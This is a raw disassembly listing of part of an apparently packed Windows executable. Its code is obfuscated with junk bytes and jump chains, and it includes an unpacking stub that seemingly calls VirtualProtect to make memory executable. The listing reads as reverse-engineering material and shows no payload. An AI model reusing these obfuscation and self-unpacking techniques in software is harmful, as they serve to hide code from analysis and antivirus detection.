db 0C6h, 0B7h, 6Fh
; ---------------------------------------------------------------------------
loc_46D3FF: ; CODE XREF: DMN1:loc_46D3F7j
bswap ebp
add edx, ebx
stc
cmc
jmp short loc_46D41B
; ---------------------------------------------------------------------------
db 16h
dd 0C4022577h, 25F5F349h, 5A57972Dh, 252290B1h
db 0BBh, 9Dh, 0A8h
; ---------------------------------------------------------------------------
loc_46D41B: ; CODE XREF: DMN1:0046D405j
jmp short loc_46D431
; ---------------------------------------------------------------------------
db 4Ah, 0DDh, 87h
dd 403E876Ah, 820A50C9h, 368300BCh, 0E0A4BC23h
db 0D9h
; ---------------------------------------------------------------------------
loc_46D431: ; CODE XREF: DMN1:loc_46D41Bj
mov [edx], eax
xor ebp, 1A8B2F63h
jmp short loc_46D459
; ---------------------------------------------------------------------------
db 0E6h
dd 82C9D45Ah, 0E3643916h, 0C6C06133h, 7E758AC3h, 1475D032h
dd 0E68F60AAh, 57B4987Fh
db 7Fh
; ---------------------------------------------------------------------------
loc_46D459: ; CODE XREF: DMN1:0046D439j
jmp short loc_46D46F
; ---------------------------------------------------------------------------
db 9
dd 0A15F65AEh, 0B5BC7BF4h, 518C6720h, 82DD0A03h
db 0B9h, 58h, 89h
; ---------------------------------------------------------------------------
loc_46D46F: ; CODE XREF: DMN1:loc_46D459j
jmp short loc_46D47E
; ---------------------------------------------------------------------------
db 60h, 29h, 0B6h
dd 6D65D72Fh, 4857B2Ch
; ---------------------------------------------------------------------------
mov al, 8Bh
loc_46D47E: ; CODE XREF: DMN1:loc_46D46Fj
jmp short loc_46D485
; ---------------------------------------------------------------------------
dd 1A592F9Bh
db 34h
; ---------------------------------------------------------------------------
loc_46D485: ; CODE XREF: DMN1:loc_46D47Ej
std
inc ebx
xchg esp, esp
test eax, 0F8C8F8D2h
inc ebx
neg eax
jmp short loc_46D4A2
; ---------------------------------------------------------------------------
push cs
mov ch, 0EFh
retf
; ---------------------------------------------------------------------------
dd 468563C4h, 0F3153828h
db 3Dh, 0D0h
; ---------------------------------------------------------------------------
loc_46D4A2: ; CODE XREF: DMN1:0046D492j
test ebp, 0F8B139CFh
jmp short loc_46D4C2
; ---------------------------------------------------------------------------
dw 836Ah
dd 0B371BFC9h, 1CBB5B25h, 0E3A0B0A2h, 0E92B71E3h, 27DF3DB4h
; ---------------------------------------------------------------------------
fadd qword ptr [ebx]
loc_46D4C2: ; CODE XREF: DMN1:0046D4A8j
clc
xchg esi, ecx
jmp short loc_46D4D8
; ---------------------------------------------------------------------------
db 92h
dd 0E978A8A3h, 65164A45h, 6FEF243h, 0C0341B50h
; ---------------------------------------------------------------------------
loc_46D4D8: ; CODE XREF: DMN1:0046D4C5j
xchg ebp, eax
add ebx, 1
clc
add edx, 0F37A4A2Ah
jmp short loc_46D4F9
; ---------------------------------------------------------------------------
dw 7D78h
dd 0B4556FCEh, 4F8D1C78h, 369F30F7h, 0EB364B27h
db 29h
; ---------------------------------------------------------------------------
loc_46D4F9: ; CODE XREF: DMN1:0046D4E4j
add ebx, 1
xchg ebp, edx
jmp short loc_46D516
; ---------------------------------------------------------------------------
dd 0CF1B8166h, 4885F49h, 96AC8A53h, 2BD11B6Bh, 1A4C7C7Ah
db 39h, 4Ah
; ---------------------------------------------------------------------------
loc_46D516: ; CODE XREF: DMN1:0046D4FEj
std
adc ecx, 0A439A34Bh
jmp short loc_46D538
; ---------------------------------------------------------------------------
db 0D2h
dd 0B42034A2h, 280A9F5Eh, 9B8D365Fh, 2B98BBE6h, 0F71E29B4h
dd 9EE622Ch
; ---------------------------------------------------------------------------
loc_46D538: ; CODE XREF: DMN1:0046D51Dj
jmp short loc_46D544
; ---------------------------------------------------------------------------
dw 0C118h
dd 45A36099h, 72DAD30Ah
; ---------------------------------------------------------------------------
loc_46D544: ; CODE XREF: DMN1:loc_46D538j
xchg esi, eax
sub edi, 1
jz short loc_46D5B9
jmp short loc_46D566
; ---------------------------------------------------------------------------
db 6, 65h, 0D7h
dd 24783FC8h, 835BE8Fh, 758729FDh, 3525E42Bh, 7FAEFD81h
db 64h, 0D9h
; ---------------------------------------------------------------------------
loc_46D566: ; CODE XREF: DMN1:0046D54Bj
xchg esp, ebx
stc
xchg ecx, edi
jmp short loc_46D56F
; ---------------------------------------------------------------------------
db 35h, 88h
; ---------------------------------------------------------------------------
loc_46D56F: ; CODE XREF: DMN1:0046D56Bj
jmp short loc_46D57F
; ---------------------------------------------------------------------------
db 82h, 9, 1Ah
dd 0FC8C830Dh, 0A04142F9h
db 0DFh, 0ACh, 0D2h
; ---------------------------------------------------------------------------
loc_46D57F: ; CODE XREF: DMN1:loc_46D56Fj
jmp short loc_46D584
; ---------------------------------------------------------------------------
db 8Fh, 0E9h, 3Fh
; ---------------------------------------------------------------------------
loc_46D584: ; CODE XREF: DMN1:loc_46D57Fj
test edx, 10487964h
jmp short loc_46D596
; ---------------------------------------------------------------------------
dd 9534B1B7h, 18793CF2h
db 59h, 23h
; ---------------------------------------------------------------------------
loc_46D596: ; CODE XREF: DMN1:0046D58Aj
xchg ebp, eax
jmp short loc_46D59D
; ---------------------------------------------------------------------------
dw 0A2B5h
db 9
; ---------------------------------------------------------------------------
loc_46D59D: ; CODE XREF: DMN1:0046D598j
jmp short loc_46D5B1
; ---------------------------------------------------------------------------
db 0CDh
dd 3E155A60h, 0DB8D7011h, 96E2D013h, 2BD7D757h
; ---------------------------------------------------------------------------
stosd
loc_46D5B1: ; CODE XREF: DMN1:loc_46D59Dj
cmc
xchg edi, ebx
jmp loc_46D045
; ---------------------------------------------------------------------------
loc_46D5B9: ; CODE XREF: DMN1:0046D549j
xchg ebp, eax
jmp short loc_46D5C0
; ---------------------------------------------------------------------------
db 5Bh, 0C5h, 41h
; ---------------------------------------------------------------------------
loc_46D5C0: ; CODE XREF: DMN1:0046D5BBj
jmp short loc_46D5DB
; ---------------------------------------------------------------------------
dw 8121h
dd 35D02E57h, 28019430h, 0DC97AA1Eh, 0B09BDA7Ch, 161F264Fh
db 0FAh, 3Dh, 1Fh
; ---------------------------------------------------------------------------
loc_46D5DB: ; CODE XREF: DMN1:loc_46D5C0j
inc eax
jmp short loc_46D5EF
; ---------------------------------------------------------------------------
dw 6158h
dd 71A2E6A7h, 84FDB205h, 25DC363Eh
db 0BBh, 1Dh, 0CCh
; ---------------------------------------------------------------------------
loc_46D5EF: ; CODE XREF: DMN1:0046D5DCj
jmp short loc_46D604
; ---------------------------------------------------------------------------
db 0C4h, 40h, 0CEh
dd 0B3E0F4F7h, 84BF1675h, 0D14E8535h, 6EFDF326h
; ---------------------------------------------------------------------------
loc_46D604: ; CODE XREF: DMN1:loc_46D5EFj
jmp short $+2
jmp short loc_46D620
; ---------------------------------------------------------------------------
dd 12915F3Dh, 0D2A8CE9h, 6F3A3766h, 0D5EC3023h, 47B286B3h
dd 0A9DF8270h
; ---------------------------------------------------------------------------
loc_46D620: ; CODE XREF: DMN1:0046D606j
jmp short loc_46D625
; ---------------------------------------------------------------------------
dw 6EE1h
; ---------------------------------------------------------------------------
cmc
loc_46D625: ; CODE XREF: DMN1:loc_46D620j
jmp short loc_46D645
; ---------------------------------------------------------------------------
db 0B3h
dd 2EDE291Ch, 0A528A88Ah, 13360039h, 310C6BA5h, 7DC00528h
dd 191D0913h, 622736C2h
; ---------------------------------------------------------------------------
push edx
loc_46D645: ; CODE XREF: DMN1:loc_46D625j
not esi
jmp short loc_46D65C
; ---------------------------------------------------------------------------
db 0EAh, 7Dh, 0C7h
; ---------------------------------------------------------------------------
xor bl, [ebx-191AD49Fh]
pop ebp
enter 0FFFFD128h, 7Bh
jns short loc_46D670
push cs
stosd
daa
loc_46D65C: ; CODE XREF: DMN1:0046D647j
pop eax
jmp short loc_46D674
; ---------------------------------------------------------------------------
db 0A6h ;
db 80h ;
db 35h ; 5
db 76h ; v
db 8Dh ;
db 0EFh ;
db 95h ;
db 0FFh
db 7Dh ; }
db 67h ; g
db 0C3h ;
dw 400Bh
dd 0F28C08DDh
; ---------------------------------------------------------------------------
loc_46D670: ; CODE XREF: DMN1:0046D657j
pop ss
lodsb
mov dh, 0AAh
loc_46D674: ; CODE XREF: DMN1:0046D65Dj
jmp short loc_46D678
; ---------------------------------------------------------------------------
dw 9408h
; ---------------------------------------------------------------------------
loc_46D678: ; CODE XREF: DMN1:loc_46D674j
jmp short loc_46D699
; ---------------------------------------------------------------------------
dw 0ECFCh
dd 0BECFD42Ah, 4B8526C3h, 8582B335h, 0FB0F7786h, 20AEB33Bh
dd 0FEC6F403h, 8CC29F4h
; ---------------------------------------------------------------------------
pop esi
loc_46D699: ; CODE XREF: DMN1:loc_46D678j
stc
jmp short loc_46D6B5
; ---------------------------------------------------------------------------
dd 0BD4FF7A8h, 0B29AE80Ch, 8294E49Ch, 0B56FB4CBh, 4F4842FAh
dd 0A558B3CAh
db 35h
; ---------------------------------------------------------------------------
loc_46D6B5: ; CODE XREF: DMN1:0046D69Aj
jmp short loc_46D6B8
; ---------------------------------------------------------------------------
movsb
loc_46D6B8: ; CODE XREF: DMN1:loc_46D6B5j
jmp short loc_46D6C6
; ---------------------------------------------------------------------------
dw 9F24h
dd 0E3061B57h, 679D2A9Eh
db 61h, 0Ch
; ---------------------------------------------------------------------------
loc_46D6C6: ; CODE XREF: DMN1:loc_46D6B8j
or ecx, 19AF6EA8h
jmp short loc_46D6D4
; ---------------------------------------------------------------------------
dw 6537h
dd 7E28D900h
; ---------------------------------------------------------------------------
loc_46D6D4: ; CODE XREF: DMN1:0046D6CCj
jmp short loc_46D6F2
; ---------------------------------------------------------------------------
dw 318Ah
dd 13B381FBh, 0E828AFE5h, 7A5CC89Fh, 97BCF04Bh, 0B481C9CFh
dd 791BEC36h
; ---------------------------------------------------------------------------
push esi
inc ebp
loc_46D6F2: ; CODE XREF: DMN1:loc_46D6D4j
jmp short loc_46D70C
; ---------------------------------------------------------------------------
dd 0BA5837F1h, 3838FB3Bh, 2B442C8Ah, 457AC5EFh, 0DA50C6Fh
dd 9167A954h
; ---------------------------------------------------------------------------
loc_46D70C: ; CODE XREF: DMN1:loc_46D6F2j
jmp short loc_46D723
; ---------------------------------------------------------------------------
and ch, dl
aas
xor ds:213483C5h, bl
retf 0FEE6h
; ---------------------------------------------------------------------------
push ss
retf
; ---------------------------------------------------------------------------
dd 27F5964Eh
db 35h, 4Fh, 11h
; ---------------------------------------------------------------------------
loc_46D723: ; CODE XREF: DMN1:loc_46D70Cj
jmp short $+2
jmp short loc_46D731
; ---------------------------------------------------------------------------
db 77h
dd 1F80CF57h, 5F8E79C9h
db 0Bh
; ---------------------------------------------------------------------------
loc_46D731: ; CODE XREF: DMN1:0046D725j
jmp short loc_46D73C
; ---------------------------------------------------------------------------
icebp
pop ecx
cmp dword ptr [edi-2FF359C9h], 2
loc_46D73C: ; CODE XREF: DMN1:loc_46D731j
jmp loc_46C9A6
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov ecx, [ebp+8]
xor edx, 36170E35h
xor edx, 2C0CDEDFh
mov eax, 400000h
add edx, eax
add esp, 10h
mov ebp, [esp-4]
push edx
pusha
push 0
lea edx, [esp]
push edx
push 40h
push 2C741h
add dword ptr [esp], 1000h
push eax
add eax, 1000h
add eax, 6D023h
call dword ptr [eax]
add esp, 4
popa
retn
; =============== S U B R O U T I N E =======================================
public start
start proc near
mov eax, offset sub_407B60
jmp eax
start endp
; ---------------------------------------------------------------------------
dd 174ABA00h, 8B81352h, 56D6604h, 66447854h, 166C231h
dd 7C2C1C2h, 0E850F1E2h, 0FFFFFF91h
; ---------------------------------------------------------------------------
leave
retn
DMN1 ends
; Section 3. (virtual address 0006E000)
; Virtual size : 00000078 ( 120.)
; Section size in file : 00000078 ( 120.)
; Offset to raw data for section: 0006E000
; Flags C0000060: Text Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
DMN2 segment para public 'DATA' use32
assume cs:DMN2
;org 46E000h
dd 78450001h, 72507469h, 7365636Fh, 10073h, 74726956h
dd 506C6175h, 65746F72h, 0DA007463h, 0D07C81CDh, 7C801Ah
dd 6B000000h, 656E7265h, 2E32336Ch, 6C6C64h, 2 dup(0)
dd 0FFFFFFFFh, 6E02Bh, 6E01Fh, 5 dup(0)
dd 6D000h, 10h, 3754h, 3 dup(0)
DMN2 ends
; Section 4. (virtual address 0006F000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 0006E200
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 46F000h
align 2000h
_idata2 ends
end start